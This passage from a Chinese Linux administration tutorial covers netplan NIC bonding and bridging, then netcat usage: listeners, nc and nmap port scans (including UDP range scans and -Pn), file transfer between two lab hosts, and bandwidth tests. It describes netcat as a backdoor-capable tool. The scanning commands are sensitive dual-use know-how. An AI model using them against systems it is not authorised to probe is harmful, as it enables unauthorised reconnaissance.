  128. Slave Interface: eth3
  129. MII Status: up
  130. Speed: 1000 Mbps
  131. Duplex: full
  132. Link Failure Count: 0
  133. Permanent HW addr: 00:0c:29:34:df:b9
  134. Slave queue ID: 0
  135. Slave Interface: eth2
  136. MII Status: up
  137. Speed: 1000 Mbps
  138. Duplex: full
  139. Link Failure Count: 0
  140. Permanent HW addr: 00:0c:29:34:df:a5
  141. Slave queue ID: 0

5.3.9 ⽹卡多组绑定+多组桥接

  1. root@ubuntu1804:~# cat /etc/netplan/01-netcfg.yaml
  2. # This file describes the network interfaces available on your system
  3. # For more information, see netplan(5).
  4. network:
  5. version: 2
  6. renderer: networkd
  7. ethernets:
  8.  eth0:
  9.   dhcp4: no
  10.   dhcp6: no
  11.  eth1:
  12.   dhcp4: no
  13.   dhcp6: no
  14.  eth2:
  15.   dhcp4: no
  16.   dhcp6: no
  17.  eth3:
  18.   dhcp4: no
  19.   dhcp6: no
  20. bonds:
  21.  bond0:
  22.   interfaces:
  23.     - eth0
  24.     - eth1
  25.   parameters:
  26.    mode: active-backup
  27.    mii-monitor-interval: 100
  28. bond1:
  29.   interfaces:
  30.     - eth2
  31.     - eth3
  32.   parameters:
  33.    mode: active-backup
  34.    mii-monitor-interval: 100
  35. bridges:
  36.  br0:
  37.   dhcp4: no
  38.   dhcp6: no
  39.   addresses: [10.0.0.18/16]
  40.   gateway4: 10.0.0.1
  41.   nameservers:
  42.    addresses: [223.6.6.6,223.5.5.5]
  43.   interfaces:
  44.     - bond0
  45. br1:
  46.   dhcp4: no
  47.   dhcp6: no
  48.   interfaces:
  49.     - bond1
  50.   addresses: [10.10.0.18/16]
  51.   routes:
  52.     - to: 10.20.0.0/16
  53.     via: 10.10.0.1
  54.     - to: 10.30.0.0/16
  55.     via: 10.10.0.1
  56.     - to: 10.40.0.0/16
  57.     via: 10.10.0.1
  58.     - to: 10.50.0.0/16
  59.     via: 10.10.0.1
  60. root@ubuntu1804:~# netplan apply    
  61. root@ubuntu1804:~# brctl show
  62. bridge name bridge id STP enabled interfaces
  63. br0 8000.96dbd15c1daf no bond0
  64. br1 8000.9e02ab0faeb0 no bond1
  65. root@ubuntu1804:~# route -n
  66. Kernel IP routing table
  67. Destination   Gateway     Genmask     Flags Metric Ref  Use Iface
  68. 0.0.0.0     10.0.0.1     0.0.0.0     UG   0    0     0 br0
  69. 10.0.0.0     0.0.0.0     255.255.0.0   U   0    0     0 br0
  70. 10.10.0.0    0.0.0.0     255.255.0.0   U   0    0     0 br1
  71. 10.20.0.0    10.10.0.1    255.255.0.0   UG   0    0     0 br1
  72. 10.30.0.0    10.10.0.1    255.255.0.0   UG   0    0     0 br1
  73. 10.40.0.0    10.10.0.1    255.255.0.0   UG   0    0     0 br1
  74. 10.50.0.0    10.10.0.1    255.255.0.0   UG   0    0     0 br1
  75. root@ubuntu1804:~# ifconfig
  76. bond0: flags=5187<UP,BROADCAST,RUNNING,MASTER,MULTICAST> mtu 1500
  77.    ether 2a:20:b7:a8:58:37 txqueuelen 1000 (Ethernet)
  78.    RX packets 1749 bytes 154597 (154.5 KB)
  79.    RX errors 0 dropped 0 overruns 0 frame 0
  80.    TX packets 1951 bytes 224182 (224.1 KB)
  81.    TX errors 0 dropped 2 overruns 0 carrier 0 collisions 0
  82. bond1: flags=5187<UP,BROADCAST,RUNNING,MASTER,MULTICAST> mtu 1500
  83.    ether c2:35:83:a1:ab:bb txqueuelen 1000 (Ethernet)
  84.    RX packets 441 bytes 43111 (43.1 KB)
  85.    RX errors 0 dropped 0 overruns 0 frame 0
  86.    TX packets 21 bytes 1642 (1.6 KB)
  87.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  88. br0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
  89.    inet 10.0.0.18 netmask 255.255.0.0 broadcast 10.0.255.255
  90.    inet6 fe80::94db:d1ff:fe5c:1daf prefixlen 64 scopeid 0x20<link>
  91.    ether 96:db:d1:5c:1d:af txqueuelen 1000 (Ethernet)
  92.    RX packets 164 bytes 11692 (11.6 KB)
  93.    RX errors 0 dropped 0 overruns 0 frame 0
  94.    TX packets 148 bytes 16165 (16.1 KB)
  95.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  96. br1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
  97.    inet 10.10.0.18 netmask 255.255.0.0 broadcast 10.10.255.255
  98.    inet6 fe80::9c02:abff:fe0f:aeb0 prefixlen 64 scopeid 0x20<link>
  99.    ether 9e:02:ab:0f:ae:b0 txqueuelen 1000 (Ethernet)
  100.    RX packets 13 bytes 788 (788.0 B)
  101.    RX errors 0 dropped 0 overruns 0 frame 0
  102.    TX packets 9 bytes 726 (726.0 B)
  103.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  104. eth0: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST> mtu 1500
  105.    ether 2a:20:b7:a8:58:37 txqueuelen 1000 (Ethernet)
  106.    RX packets 24 bytes 1906 (1.9 KB)
  107.    RX errors 0 dropped 0 overruns 0 frame 0
  108.    TX packets 0 bytes 0 (0.0 B)
  109.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  110. eth1: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST> mtu 1500
  111.    ether 2a:20:b7:a8:58:37 txqueuelen 1000 (Ethernet)
  112.    RX packets 1725 bytes 152691 (152.6 KB)
  113.    RX errors 0 dropped 0 overruns 0 frame 0
  114.    TX packets 1951 bytes 224182 (224.1 KB)
  115.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  116. eth2: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST> mtu 1500
  117.    ether c2:35:83:a1:ab:bb txqueuelen 1000 (Ethernet)
  118.    RX packets 24 bytes 1906 (1.9 KB)
  119. RX errors 0 dropped 0 overruns 0 frame 0
  120.    TX packets 0 bytes 0 (0.0 B)
  121.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  122. eth3: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST> mtu 1500
  123.    ether c2:35:83:a1:ab:bb txqueuelen 1000 (Ethernet)
  124.    RX packets 417 bytes 41205 (41.2 KB)
  125.    RX errors 0 dropped 0 overruns 0 frame 0
  126.    TX packets 21 bytes 1642 (1.6 KB)
  127.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  128. lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
  129.    inet 127.0.0.1 netmask 255.0.0.0
  130.    inet6 ::1 prefixlen 128 scopeid 0x10<host>
  131.    loop txqueuelen 1000 (Local Loopback)
  132.    RX packets 793 bytes 53888 (53.8 KB)
  133.    RX errors 0 dropped 0 overruns 0 frame 0
  134.    TX packets 793 bytes 53888 (53.8 KB)
  135.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  136. root@ubuntu1804:~# cat /proc/net/bonding/bond1
  137. Ethernet Channel Bonding Driver: v3.7.1 (April 27, 2011)
  138. 。。。。

6,nc - 网络工具箱中的「瑞士军刀」       

netcat被誉为网络安全界的‘瑞士军刀’,相信没有什么人不认识它吧......
一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接,还有几个很有意思的内置功能(详情请看下面的使用方法)。 

软件介绍:

工具名:Netcatnc 是 Linux下强大的网络命令行工具,主要用于 TCP、UDP、UNIX域套接字 相关的操作

它被设计成可以由其他程序灵活驱动可靠的后台工具,拥有 "瑞士军刀" 的美称,每个系统管理员都应该掌握它

6.1安装及用法

  1. #安装:
  2. [root@ecs-centos-7 ~]# yum install nc
  3. [root@ecs-centos-7 ~]# nc --version
  4. Ncat: Version 7.50 ( https://nmap.org/ncat )
  5. #语法:
  6. nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
  7. #参数说明:
  8. -g <网关> 设置路由器跃程通信网关,最多可设置8个。
  9. -G <指向器数目> 设置来源路由指向器,其数值为4的倍数。
  10. -h 在线帮助。
  11. -i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
  12. -l 使用监听模式,管控传入的资料。
  13. -n 直接使用IP地址,而不通过域名服务器。
  14. -o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
  15. -p <通信端口> 设置本地主机使用的通信端口。
  16. -r 乱数指定本地与远端主机的通信端口。
  17. -s <来源位址> 设置本地主机送出数据包的IP地址。
  18. -u 使用UDP传输协议。
  19. -v 显示指令执行过程。
  20. -w <超时秒数> 设置等待连线的时间。
  21. -z 使用0输入/输出模式,只在扫描通信端口时使用。

6.2 使用nc测试网络连通性测试和端口扫描

nc可以作为server端启动一个tcp的监听(注意,此处重点是起tcp,下面还会讲udp)

先关闭A的防火墙,或者放行下面端口,然后测试B机器是否可以访问A机器启动的端口
在A机器上启动一个端口监听,比如 9999端口(注意:下面的-l 是小写的L,不是数字1)
默认情况下下面监听的是一个tcp的端口

  1. nc -l 9999
  2. 此命令默认监听tcp端口

 6.2.1客户端测试测试方法1:

在B机器上telnet  A机器此端口,如下显示表示B机器可以访问A机器此端口

telnet 10.0.1.161  9999

 6.2.2客户端测试,测试方法2

B机器上也可以使用nmap扫描A机器的此端口

nmap 10.0.1.161 -p9999

 6.2.3 客户端测试,测试方法3

使用nc命令作为客户端工具进行端口探测

  1. nc -vz -w 2 10.0.1.161 9999
  2. 或者
  3. nc -vzw 2 10.0.1.161 9999
  4. (-v可视化,-z扫描时不发送数据,-w超时几秒,后面跟数字)

 6.2.4客户端测试,测试方法4(和方法3相似,但用处更大)

6.2.4.1 nc可以可以扫描连续端口,这个作用非常重要。常常可以用来扫描服务器端口,然后给服务器安全加固在A机器上监听2个端口,一个9999,一个9998,使用&符号丢入后台

6.4.2.2 在客户端B机器上扫描连续的两个端口,如下

6.2.5nc作为server端启动一个udp的监听(注意,此处重点是起udp)

6.2.5.1 启动一个udp的端口监听

nc  -ul  9998

 6.2.5.2复制当前窗口输入 netstat -antup |grep 9998 可以看到是启动了udp的监听

6.2.6 客户端测试,测试方法1 

由于udp的端口无法在客户端使用telnet去测试,我们可以使用nc命令去扫描(前面提到nc还可以用来扫描端口)(telnet是运行于tcp协议的)

  1. nc -vuz 10.0.1.161 9998
  2. (u表示udp端口,v表示可视化输出,z表示扫描时不发送数据)

 上面在B机器扫描此端口的时候,看到A机器下面出现一串XXXXX字符串

 6.2.7客户端测试,测试方法2

(它暂无法测试nc启动的udp端口,每次探测nc作为server端启动的udp端口时,会导致对方退出侦听,有这个bug,对于一些程序启动的udp端口在使用nc扫描时不会有此bug)

nmap -sU 10.0.1.161 -p 9998 -Pn

下面,A机器启动一个udp的端口监听,端口为9998

在复制的窗口上可以确认已经在监听了

 B机器使用nmap命令去扫描此udp端口,在扫描过程中,导致A机器的nc退出监听。所以显示端口关闭了(我推测是扫描时发数据导致的)

  1. nmap -sU 10.0.1.161 -p 9998 -Pn
  2. -sU :表示udp端口的扫描
  3. -Pn :如果服务器禁PING或者放在防火墙下面的,不加-Pn 参数的它就会认为这个扫描的主机不存活就不会进行扫描了,如果不加-Pn就会像下面的结果一样,它也会进行提示你添加上-Pn参数尝试的

注意:如果A机器开启了防火墙,扫描结果可能会是下面状态。(不能确定对方是否有监听9998端口) 

 既然上面测试无法使用nmap扫描nc作为服务端启动的端口,我们可以使用nmap扫描其余的端口

下面,A机器上rpcbind服务,监听在udp的111端口

在B机器上使用nmap扫描此端口,是正常的检测到处于open状态 

 6.2.8客户端测试,测试方法3

nc扫描大量udp端口

扫描过程比较慢,可能是1秒扫描一个端口,下面表示扫描A机器的1到1000端口(暂未发现可以在一行命令中扫描分散的几个端口的方法)

nc -vuz 10.0.1.161 1-1000

 6.3使用nc传输文件和目录

方法1,传输文件演示(先启动接收命令)

使用nc传输文件还是比较方便的,因为不用scp和rsync那种输入密码的操作了

把A机器上的一个rpm文件发送到B机器上

需注意操作次序,receiver先侦听端口,sender向receiver所在机器的该端口发送数据。

#步骤1:
先在B机器上启动一个接收文件的监听,格式如下
意思是把赖在9995端口接收到的数据都写到file文件里(这里文件名随意取)
nc -l port >file
nc -l 9995 >zabbix.rpm

 步骤2,在A机器上往B机器的9995端口发送数据,把下面rpm包发送过去

nc 10.0.1.162 9995 < zabbix-release-2.4-1.el6.noarch.rpm

 B机器接收完毕,它会自动退出监听,文件大小和A机器一样,md5值也一样

方法2,传输文件演示(先启动发送命令)

步骤1,先在B机器上,启动发送文件命令

下面命令表示通过本地的9992端口发送test.mv文件

nc -l 9992 <test.mv

 步骤2,A机器上连接B机器,取接收文件

下面命令表示通过连接B机器的9992端口接收文件,并把文件存到本目录下,文件名为test2.mv

nc 10.0.1.162 9992 >test2.mv

方法3,传输目录演示(方法发送文件类似)

步骤1,B机器先启动监听,如下

A机器给B机器发送多个文件

传输目录需要结合其它的命令,比如tar

经过我的测试管道后面最后必须是 - ,不能是其余自定义的文件名

nc -l 9995 | tar xfvz -

步骤2,A机器打包文件并连接B机器的端口

管道前面表示把当前目录的所有文件打包为 - ,然后使用nc发送给B机器

tar cfz - * | nc 10.0.1.162 9995

B机器这边已经自动接收和解压 

 6.4使用nc测试网速

测试网速其实利用了传输文件的原理,就是把来自一台机器的/dev/zero 发送给另一台机器的/dev/null

就是把一台机器的无限个0,传输给另一个机器的空设备上,然后新开一个窗口使用dstat命令监测网速

在这之前需要保证机器先安装dstat工具

yum install -y dstat

方法1,测试网速演示(先启动接收命令方式) 

步骤1,A机器先启动接收数据的命令,监听自己的9991端口,把来自这个端口的数据都输出给空设备(这样不写磁盘,测试网速更准确)

nc -l 9991 >/dev/null

步骤2,B机器发送数据,把无限个0发送给A机器的9991端口

nc 10.0.1.161 9991 </dev/zero

在复制的窗口上使用dstat命令查看当前网速,dstat命令比较直观,它可以查看当前cpu,磁盘,网络,内存页和系统的一些当前状态指标。

我们只需要看下面我选中的这2列即可,recv是receive的缩写,表示接收的意思,send是发送数据,另外注意数字后面的单位B,KB,MB

可以看到A机器接收数据,平均每秒400MB左右

B机器新打开的窗口上执行dstat,看到每秒发送400MB左右的数据

方法2,测试网速演示(先启动发送命令方式)

步骤1,先启动发送的数据,谁连接这个端口时就会接收来自zero设备的数据(二进制的无限个0)

nc -l 9990 </dev/zero

步骤2,下面B机器连接A机器的9990端口,把接收的数据输出到空设备上

nc 10.0.1.161 9990 >/dev/null

同样可以使用dstat观察数据发送时的网速

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/代码探险家/article/detail/814622
推荐阅读
相关标签
  

闽ICP备14008679号